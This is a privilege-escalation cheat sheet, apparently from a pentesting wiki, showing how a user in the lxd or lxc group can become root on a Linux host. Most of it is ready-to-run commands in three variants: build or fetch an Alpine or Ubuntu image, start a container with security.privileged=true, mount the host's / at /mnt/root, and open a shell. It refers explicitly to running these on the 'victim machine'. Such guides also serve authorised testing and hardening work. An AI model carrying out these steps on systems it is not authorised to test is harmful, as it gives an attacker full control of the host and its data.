lxd/lxc Group - Privilege escalation

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If you belong to lxd or lxc group, you can become root
Exploiting without internet
Method 1
You can install in your machine this distro builder: https://github.com/lxc/distrobuilder (follow the instructions of the github):
sudo su
#Install requirements
sudo apt update
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools
#Clone repo
git clone https://github.com/lxc/distrobuilder
#Make distrobuilder
cd distrobuilder
make
#Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8
Then, upload to the vulnerable server the files lxd.tar.xz and rootfs.squashfs
Add the image:
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list #You can see your new imported image
Create a container and add root path
lxc init alpine privesc -c security.privileged=true --alias=alpine
lxc list #List containers
​
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
If you find this error Error: No storage pool found. Please create a new storage pool
Run lxd init and repeat the previous chunk of commands
Execute the container:
lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
Method 2
Build an Alpine image and start it using the flag security.privileged=true, forcing the container to interact as root with the host filesystem.
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686
​
# import the image
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.
​
# before running the image, start and configure the lxd storage pool as default 
lxd init
​
# run the image
lxc init myimage mycontainer -c security.privileged=true
​
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
​
# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh
Alternatively https://github.com/initstring/lxd_root​
With internet
You can follow these instructions.
lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true 
lxc start test
lxc exec test bash
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
Other Refs
Privilege Escalation via lxd
Bouge Security
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Exploiting without internet